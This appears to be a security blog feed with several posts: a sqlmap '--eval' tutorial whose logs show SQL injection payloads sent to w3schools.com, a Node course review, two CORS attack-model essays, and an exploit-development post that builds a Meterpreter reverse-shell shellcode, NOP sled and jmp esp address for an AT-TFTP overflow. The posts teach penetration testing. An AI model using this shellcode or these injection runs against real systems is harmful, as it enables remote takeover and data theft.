Normal view

There are new articles available, click to refresh the page.
Before yesterdayÆther Security Lab

Advanced sqlmap features – eval

By: geri
21 July 2014 at 14:22

I was always sad when I couldn’t use sqlmap when the injection was not very simple. Of course I always expected that to be my fault, that I didn’t spent enough time to configure sqlmap properly. So the other day when I tested an application and found an sql injection which was a pain in the neck to exploit manually, I rolled up my sleeves and started to look at source code of sqlmap to figure out some parameters which I never knew what they did. This blog post is about the --eval parameter which allows you to manipulate the requests before sending them.

If you look at the sqlmap help, it says the following about --eval:

    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

This sounds pretty good, but I still had no idea what you can do with it exactly. A good way to find that out is to do a little debugging. If you look at the sqlmap\lib\core\common.py:evaluateCode() method you will see the following:

def evaluateCode(code, variables=None):
    """
    Executes given python code given in a string form
    """
    try:
        exec(code, variables)
    except KeyboardInterrupt:
        raise
    except Exception, ex:
        errMsg = "an error occurred while evaluating provided code ('%s'). " % ex
        raise SqlmapGenericException(errMsg)

This means that your given code is executed with the exec() method. I still didn’t know though,what would be there inside this exec. I wanted to know what can I access and alter with my input code. For the examples here, I am gonna use the form in a W3C example (http://www.w3schools.com/tags/tryit.asp?filename=tryhtml_form_submit), and I will also add some parameters, which are not really existing but it still shows how sqlmap works. So my test request is the following, which is saved in the w3c_post.txt:

POST /tags/demo_form.asp HTTP/1.1
Host: www.w3schools.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=119627022.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjoCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

FirstName=Mickey&LastName=Mouse&Serial=1

I added the Serial parameter, because that is gonna be our test scenario. Many applications use serial numbers in requests, and go to an error state if the serial is wrong. That is a huge bummer when you automate testing because you always have to increment this parameter. That is what we are gonna do with sqlmap. So our goal is to get sqlmap to send the attack request always with an incremented serial number.

But first lets debug a bit more. The best way I found to check the possibilies of --eval is to break with a debugger inside the exec(). You can do that with ipdb (if you don’t have it installed: pip install ipdb). So start sqlmap with the following configuration:

PS H:\My Documents\testing\sqlmapproject-sqlmap-33b6d18> python.exe .\sqlmap.py -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="import ipdb; ipdb.set_trace()"

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused
by this program

[*] starting at 10:46:14

[10:46:14] [DEBUG] cleaning up configuration parameters
[10:46:14] [DEBUG] parsing targets list from '.\w3c_post.txt'
[10:46:14] [DEBUG] not a valid WebScarab log data
[10:46:14] [INFO] sqlmap parsed 1 (parameter unique) requests from the targets list ready to be tested
[10:46:14] [DEBUG] setting the HTTP timeout
[10:46:14] [DEBUG] setting the HTTP method to GET
[10:46:14] [DEBUG] creating HTTP requests opener object
[10:46:14] [DEBUG] initializing the knowledge base
URL 1:
POST http://www.w3schools.com:80/tags/demo_form.asp
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=119627022.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjoCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
POST data: FirstName=Mickey&LastName=Mouse&Serial=1
do you want to test this URL? [Y/n/q]
>
[10:46:17] [INFO] testing URL 'http://www.w3schools.com:80/tags/demo_form.asp'
[10:46:17] [INFO] using 'C:\Users\z003am9f\.sqlmap\output\results-07182014_1046am.csv' as the CSV results file in multiple targets mode
[10:46:18] [INFO] testing connection to the target URL
--Return--
None
> <string>(1)<module>()

ipdb>

As you see ipdb broke, and we have a debugging shell inside the exec(). Now the best way to look around is to run locals() to see what is available in that environment. I won’t show that because it is a huge structure, however what you should see hidden between random variables is the POST parameters from your request:

ipdb> print FirstName
Mickey
ipdb> print LastName
Mouse
ipdb> print Serial
1
ipdb>

This is a great thing, because it means that you can directly manipulate the POST parameters from your python code. Now what we need to do is to write a python code which increments the Serial variable. Since I didn’t know how to save state inside python, I went in the hard way and saved the serial counter in a file. The not-too-sophisticated code to do that is:

f = open("cnt.txt","r+")
Serial = int(f.readline())
f.seek(0,0)
f.write(str(Serial+1))
f.close()

It opens the file where the serial number is stored, updates the Serial variable, and increments the number in the file. So let’s try it with sqlmap (note: be careful with the quotes in your python code):

$ python.exe .\sqlmap.py -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="f = open('cnt.txt','r+'); Serial = int(f.readline()); f.seek(0,0); f.write(str(Serial+1)); f.close()"

In the following snippet from the logs you can clearly see that the Serial was always properly incremented:

[11:16:09] [PAYLOAD] Mickey') AND 8899=1627
[11:16:09] [TRAFFIC OUT] HTTP request [#10]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Host: www.w3schools.com
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 67
Connection: close

FirstName=Mickey%27%29%20AND%208899%3D1627&LastName=Mouse&Serial=14

[11:16:09] [TRAFFIC IN] HTTP response [#10] (200 OK):
[11:16:09] [PAYLOAD] Mickey' AND 3958=8005
[11:16:09] [TRAFFIC OUT] HTTP request [#11]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Host: www.w3schools.com
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 64
Connection: close

FirstName=Mickey%27%20AND%203958%3D8005&LastName=Mouse&Serial=15

[11:16:09] [TRAFFIC IN] HTTP response [#11] (200 OK):
[11:16:09] [PAYLOAD] Mickey' AND 7730=7730
[11:16:09] [TRAFFIC OUT] HTTP request [#12]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Host: www.w3schools.com
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 64
Connection: close

FirstName=Mickey%27%20AND%207730%3D7730&LastName=Mouse&Serial=16

With that we’ve reached our goal.

To go a bit further, I would like to add a more complicated example where you could see the real power in this feature. In my test, the new serial number was always embedded in the last response. The problem was that sometimes the system broke and my serials went out of sync. So I decided that it would be better to send a useless request to get a fresh serial number and use that in the attack request. Of course it slows down the test because it doubles the number of requests, but on the other hand it goes in the direction of beating CSRF protections, which could be also really useful.

The following code creates a method which is responsible to get the newest serial number:

#!/usr/bin/env python
import httplib
from StringIO import StringIO
import gzip
from lxml import html

def getSerial():
     conn = httplib.HTTPSConnection("www.w3schools.com")
     headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
     "Accept-Language": "en-US,en;q=0.5",
     "Accept-Encoding": "gzip, deflate",
     "Referer": "https://www.w3schools.com/tags/demo_form.asp",
     "Connection": "keep-alive"}
     conn.request("GET", "/tags/demo_form.asp", None, headers)
     resp = conn.getresponse()
     buffer = StringIO(resp.read())
     deflatedContent = gzip.GzipFile(fileobj=buffer)
     content_text = deflatedContent.read()
     content_tree = html.fromstring(content_text)
     serial_number = content_tree.xpath('//input[@name="Serial"]/@value')
     conn.close()

     return serial_number[0]

Note that this is not gonna work because W3C doesn’t replies with a serial number, it is a mere example.

In the getSerial() method, we open a connection to the target server, set up the headers, send the request. Since the response was compressed in my case, it had to be decompressed and parsed to retrieve the new Serial.

This code was saved in the increment.py, thus it could be used as a library in the --eval:

python.exe .\sqlmap.py -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="import increment; Serial=increment.getSerial()"

As I said, this is not a working example, but I think you can see the potential in it.

So that is about scripting sqlmap so far, have fun with it.

Review: Build a Network Application with Node video tutorial

By: geri
20 January 2014 at 19:40

I have been asked to review Joe Stanco’s Build a Network Application with Node video tutorial. So let’s see.

Node

Format

So first of all let’s see what you get. This is a Node.js video tutorial. To get a glimpse you can watch the example chapter on Youtube, here. From the format point of view, you get a web UI to watch the videos, which you can either do on-line or off-line. For instance I was watching it on the train to Vienna, so it works very well off-line. The tutorial is organized in 1-3 minutes videos. This can be useful if you want to revisit a topic later, however, it is a bit annoying when you watch it for the first time. The only problem is that the next video is not loaded automatically, hence you always have to minimise the video, click the next chapter and then click play. This is still ok, but it could be better.

Content

I won’t copy-paste the TOC, you can find it here. I think the covered topics are pretty goodm if you are a beginner in Node. The videos are also quiet good, very few slides, mostly code, terminal, and browser which fits to my taste :), however the code is not written in live, but copy-pasted which makes it for me and bit more difficult to follow, because I had to pause the video often to actually have time to read through the inserted code. It is at least better then, if it would be too slow and you have to wait for the video. Another annoying thing, in the UI, is that you cannot pause the video with the spacebar (which I think should be default for every media player).

Regarding the topics, as a rule-of-thumb you could say that for every mentioned topic it explained how to install, configure it, and one example is shown. If you already have this experience with any of the topic, you probably won’t learn anything new.

The narrator, to be honest I don’t know whether it is Joe Stanco or not, speaks clearly. The script of the course is clearly well prepared which has advantages and disadvantages. Good part is that is really clear and exact, bad is that it lacks fun and humour and most things are only defined exactly once. Which means if you don’t understand something from one sentence then you won’t have another chance. But this also makes the course shorter and not redundant.

Although the course doesn’t include exercises, the code of the examples are available, so you can try them out and play with them.

Security

Since I work in security I must take that in consideration as well. The course doesn’t talk about security at all, which makes me a bit sad. Of course you could say that this is not an advanced course and IT security is more complicated than that, however in my opinion security should be discussed on every level, at least so that the reader will be aware of the threats and that he has to deal with security. I think most of the people who will take this tutorial will start to write applications without taking any advanced course where security would be discussed, thus, they will be probably writing insecure applications as long as they get hacked or somebody tells them to take security seriously. That is why I think that no introductory course should exist without mentioning security.

Pros

  • Topics are good.
  • Example code is available.
  • Faster way to get to know Node, then reading a book.
  • Script is well written.
  • More code, less slides.
  • Explanations are mostly clear.

Cons

  • No automatic jump to next video.
  • No pause on spacebar.
  • Everything explained only once.
  • No excercises.
  • SECURITY IS NOT DISCUSSED.

Summary

I think this is a good course if you already know JavaScript but you are new to Node.js. Have fun with it if you decide to take it.

CORS: Attack scenarios

By: geri
1 November 2013 at 12:21

I was preparing myself for the Hacktivity conference in Budapest, where I talked about the security of the Cross-Origin Resource Sharing (CORS). As part of the preparation I summarised my thoughts in a couple of blog posts. This is one of them.

As a follow up of my previous post, I would like to continue with the short analysis of the threats and attack scenarios which could exploit CORS.

There are a few things to consider here. First, that CORS is not broken. It is just a feature that can support other already existing attacks to exploit other vulnerabilities. From penetration tester point of view CORS is rather a tool, then a vulnerability. Second, the most important property in CORS is that it allows you some kind of pass through the same-origin policy with a handful of limitations.

First let’s see the possible attacks from three different perspectives:

  • Goal of the attack
  • Target’s location
  • Type of attack

1) Goal of the attack

To start off with, it is worth to understand what kind of goals can an attacker have in mind.

Exploit Cross-Site Request Forgery

The most critical problem that an attacker can exploit with CORS is the Cross-Site Request Forgery(CSRF). The main reason for that is that, with CORS the attacker can send a complex set of requests to the server even with session cookies. For instance before CORS it was a bit difficult to order a product as the CSRF attack if the order process was multistage. In that case the attacker had to submit multiple forms to send the correct requests, however, with CORS it is possible to implement the whole attack in JavaScript and when the user loads the attacker’s malicious website the JavaScript can immediately start to send requests to the target.

Another important aspect is the file upload CSRF. I have already written about that here, so I won’t go into details, however, the point is that before CORS it was not possible to upload files through CSRF because of the ‘filename’ attribute in the request. But now it is possible because JavaScript can be used to build the request.

Interact with the internal network

If the user loads the attacker’s website in the company network, that essentially means that the attacker can execute code in the internal network. Of course some pretty strong limitations apply, which I will describe in the ‘Limitations’ part. So in this case the attacker can use CORS to try to explore the network, find well known service, try to do simple scanning etc.., or simply attack a known internal service which he has no access to.

2) Target’s location

Another important aspect of attacks is the location of the target. Here when we say ‘target’, then the target service is meant, so not the user who loads the malicious content but the service, which the hacker wants to attack through CORS.

Attacking services on the Internet

This is pretty straightforward. The attacker wants to attack a service which runs publicly on the Internet, however, he wants to access some restricted content, or he wants to do it in the name of somebody else. He can setup a malicious page, trick the user to load it and when he does, the page can interact with the target service from the user’s browser. An (imaginary) example would be the following: let’s assume that Facebook has a CSRF vulnerability in the share functionality. When the innocent user opens the malicious website, the JavaScript on it send a request to Facebook to share something (which complies with the attacker’s goal) on the user’s wall. Because of CORS the JavaScript can do that and with the ‘withcredentials’ XmlHttpRequest attribute the script can access the authenticated session of the user.

Attacking internal services

In the second part the attacker uses CORS and the user’s browser as a pivot point to get access to the internal (company) network. When the user loads the attacker’s malicious page the JavaScript will be able to access services, which are not accessible for the attacker from the Internet.

3) Direct vs Indirect

Direct attack against services

I wanted to mention this case, because it might seem trivial, but still there are many people doing such mistakes because they misunderstand CORS. So the problem is that some people considers CORS as some kind of authorization mechanism. This is coming from the fact that if you send an XmlHttpRequest and the server rejects your CORS the response data will be not available for the JavaScript. What they forget is that the data is still sent to the client and the browser decides based on the response’s Allow-Origin-* headers whether to allow it to the JavaScript or not. Unfortunately this solutions fails terribly when the client happens to be a script or a netcat running in the terminal. So when I write direct attack, I mean that the attacker connects directly to the service and not through the browser of some other user.

Indirect attacks

The indirect attacks are the traditional client side attacks, when the malicious code is injected in a website, that has to be loaded by the user. When the page is loaded the malicious code attacks the target service from the user’s client.

4) Limitations

As mentioned before there are pretty strong limitations when using CORS.

Write only requests

Often when the service is well configured or not configured at all, the response will not be readable for the JavaScript. For instance if the HTTP response has no Access-Control-Allow-Origin header, then , although all data were sent to the client, the JavaScript will not be able to access it. This means that requests can be sent to the server and the requested actions will be executed (hence the write only), but the JavaScript won’t be able to read the responses. This will stop the attacker to first request a form on the website to read the CSRF-protection-token and then submit the form with the token, because it won’t be able to read the response.

withCredentials vs. Access-Control-Allow-Origin: *

This is an interesting limitation which is actually quite smart. If you send a request with credentials and the server responds with Access-Control-Allow-Origin: *, which allows every domain, then you will not see the response content from JavaScript. The reason is that the ‘withCredentials’ cannot be used if all origins are allowed. This is the last line of defense against CSRF. If you could read the response, that would break the 99% of CSRF protections, because you could first load a page with you credentials, steal the CSRF token, then do a CSRF with the token.

5) Summary

Although these different perspectives are a little redundant, but all the different attack scenarios can be built from the combination of them.

Since this is only my quick analysis, if you have other ideas to the topic let me know.

CORS: Attacker Model

By: geri
22 September 2013 at 19:49

I am preparing myself for the Hacktivity conference in Budapest, where I am gonna talk about the security of the Cross-Origin Resource Sharing (CORS). As part of the preparation I will summarise my thoughts in a couple of blog posts.

To start off with I will describe the potential attackers who could try to use CORS in their attacks and I will build an attacker model.

First let’s look at the architecture where CORS is relevant.

CORS: attack environment

CORS: attack environment

It can be seen on the picture that the attacker has control of at least one server. Of course this server could be in the internal network, however, this way the model is more general. The target can be either in the intranet or in the Internet, which brings us to the first differentiation point: the attacker’s knowledge about the internal network.

1) Knowledge

Internal attacker

Here the Internal attacker means that he has knowledge about the internal network and services, but it doesn’t mean necessarily that he is in the internal network. A good example is an ex-employee, who knows how to interact with the internal service and has great chances to do social engineering, however, he has no access to the internal network anymore.

External attacker

The attacker has no knowledge about the internal network. In this case he could either attack services on the Internet, to which he has access, and he is able to create attacks. He can also create attacks to get to know the internal network to find well known software (i.e., open source project used by the company) which he can analyse off-line.

2) Location

Although the attacker could be local, but he would have better options then using CORS, so I would generally consider a remote attacker. As shown on the architecture the attacker has control at least over one server on the Internet. This server can be his own, then he needs to trick the user to visit it, or it can be a compromised server, which he could use to inject his own code for instance through an XSS. There are enough vulnerable servers on the Internet so this is a good option as well.

3) Goal

The goal of the attacker is either to steal information from the target servers, to which he doesn’t have access, or manipulate these applications in a way that can help him in further attacks. When attacking a service on the Internet his goal might be to use the target user’s authenticated session to steal data. In case of the internal target the most important goal is to get access to the target services at all.

4) Summary

To finish the analysis, using the above described attributes a potential attack could be for example the following:

  • Well informed about the target service.
  • Remote attacker.
  • Goal: access protected content or services.

Stack Adjustment by hand

By: geri
23 June 2013 at 18:20

When you are developing an exploit and you have very limited space for your payload you might need to adjust the stack to be able to use staged exploits. The problem, in case of a multi-stage payload, is that when the first stage that you send in your exploit payload starts to download the second stage, the stack pointer (ESP) might point to a place which is not far enough from the first stage in the memory; hence, the second stage might corrupt the code that you are executing. Stack adjustment is a technique that tries to solve this problem by setting the ESP to create more space for the second stage.

There is an easy solution for that which is really straight forward in metasploit. In your exploit you can set the ‘StackAdjustment’ attribute of the payload. Our simple example will be the ‘attftp_long_filename’ exploit with with the ‘windows/meterpreter/reverse_nonx_tcp’ payload. As you can see in the [MSF]/msf3/modules/exploits/windows/tftp/attftp_long_filename.rb it is set to -3500. That will subtract 3500 from the ESP just before executing the payload to make enough space for the second stage. In my case the question was, how to do the same without metasploit.

It is actually not that difficult but I wanted to write about it just for the record. As a PoC I implemented the same exploit in python using the same payload, but I will focus here on creating the payload. Our goal will be to create a payload with the following structure:

NOPsled + StackAdjustment + shellcode

Lets start from behind.

Shellcode

I used the ‘msfpayload’ to generate the first stage of the payload and save it in a file in raw format. I intentionally didn’t encode it at the beginning because I wanted to encode it together with the StackAdjustment, otherwise it wouldn’t fit in the available space. So first let’s generate the payload:

root@bt:/tmp# msfpayload windows/meterpreter/reverse_nonx_tcp LHOST=192.168.56.102 LPORT=7777 R > payload
root@bt:/tmp# hexdump payload
0000000 6afc 47eb f9e8 ffff 60ff db31 7d8b 8b3c
0000010 3d7c 0178 8bef 2057 ea01 348b 019a 31ee
0000020 99c0 c1ac 0dca c201 c084 f675 6643 ca39
0000030 e375 8b4b 244f e901 8b66 591c 4f8b 011c
0000040 03e9 992c 6c89 1c24 ff61 31e0 64db 438b
0000050 8b30 0c40 708b ad1c 688b 5e08 5366 6866
0000060 3233 7768 3273 545f b966 6072 d6ff 5395
0000070 5353 4353 4353 8953 66e7 ef81 0208 5357
0000080 b966 dfe7 d6ff b966 6fa8 d6ff 6897 a8c0
0000090 6638 6866 611e 5366 e389 106a 5753 b966
00000a0 0557 d6ff b450 500c 5753 6653 c0b9 ff38
00000b0 00e6                                  
00000b1

StackAdjustment

Then let’s see how to do the StackAdjustment. We will subtract 3500 from the ESP, that will make enough space for the second stage payload. To do that the ‘sub esp, 0xDAC’ command has to be executed on the target. We can find out the opcode with the nasm_shell.rb tool of metasploit;

root@bt:/opt/metasploit/msf3# ./tools/nasm_shell.rb 
nasm > sub esp, 0xDAC
00000000  81ECAC0D0000      sub esp,0xdac 

The happy marriage with encoding

We need to put this opcode before the msf payload and of course it has to be encoded because there are too many 0x00 characters. To do this I just catted together the opcode and the payload and piped it into the msfencode:

root@bt:/tmp# cat stack_adj payload | msfencode -b '\x00\xff' -t ruby
[*] x86/shikata_ga_nai succeeded with size 210 (iteration=1)

buf =
"\xbe\x15\x4a\xd1\x8c\xda\xde\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x2e\x83\xc7\x04\x31\x77\x11\x03\x77\x11\xe2\xe0\xcb" +
"\x3d\x20\x07\xcc\xbd\xc5\x7d\x27\xfa\xdd\x78\x48\xfa\xe1" +
"\x1a\x86\xde\x95\xa7\xd4\x6b\xd5\x6a\x5d\x6d\xc9\x1f\xca" +
"\x4d\x14\xf5\x7e\xb9\x8c\x08\x6f\xf3\x70\x93\xc3\x35\xba" +
"\xae\x1a\x74\xbf\x70\x69\x8e\x83\x16\xab\xa4\x71\x35\x80" +
"\xb3\x35\x9d\x16\x2d\xaf\x56\x04\xf4\xbb\x27\x29\x07\x55" +
"\xb4\x7d\x9e\x2c\xd6\x59\xbc\x4f\xd9\x42\x8d\x54\x41\x08" +
"\xad\x5a\x02\x4e\x3e\x10\x64\x53\x93\xad\xec\x63\xb5\xd7" +
"\xbf\x15\x21\x2b\x0d\xb2\xc6\x38\x43\x1d\x7d\xd9\x1a\xd3" +
"\x1d\xda\x8a\x81\x8d\x77\x61\xf9\x72\x2b\xc6\xae\xfd\x2c" +
"\xae\xd1\x11\xba\x2c\x85\xbe\xdd\x89\xce\x9e\xdd\x3f\x76" +
"\x98\x8a\xd0\x88\x0c\x5d\x46\xb7\x19\x5a\xf0\x51\x32\x85" +
"\x9d\xfb\x91\x30\xbe\x6e\x06\x10\x17\x09\x9f\xc1\x92\x2a" +
"\x09\xbd\x28\xd8\xe6\x6d\x07\xb2\x60\x2b\x67\x0c\x92\xad"

It was important to encode them together otherwise it would not fit in the 223 byte space available in the exploit.

NOPsled

The NOPsled can be easily created with metasploit, since the encoded shellcode is 210 bytes and we need to fill 223 bytes, we need to generate a 13 bytes long NOPsled:

msf  > use nop/x86/opty2
msf  nop(opty2) > generate -h
Usage: generate [options] length

Generates a NOP sled of a given length.

OPTIONS:

    -b <opt>  The list of characters to avoid: '\x00\xff'
    -h        Help banner.
    -s <opt>  The comma separated list of registers to save.
    -t <opt>  The output type: ruby, perl, c, or raw.

msf  nop(opty2) > generate -b '\x00\xff' 13
buf =
"\x48\x4f\x2d\x25\xbb\x66\xba\x3d\x47\x41\x2f\xd6\xfd"

Putting everything together

In my exploit, I simply concatenated everything together:

nopsled = "\x48\x4f\x2d\x25\xbb\x66\xba\x3d\x47\x41\x2f\xd6\xfd"
shellcode = nopsled
shellcode = shellcode + buf
shellcode = shellcode + "\x53\x93\x42\x7e" #jmp esp address
shellcode = shellcode + "\x83\xc4\x28\xc3" # add esp \x28; retn

Summary

The important takeaway here is how to adjust your stack manually if for some reason you can’t use metasploit. It is not difficult you just need to get your hands a bit dirty with bytes and hex.

❌
❌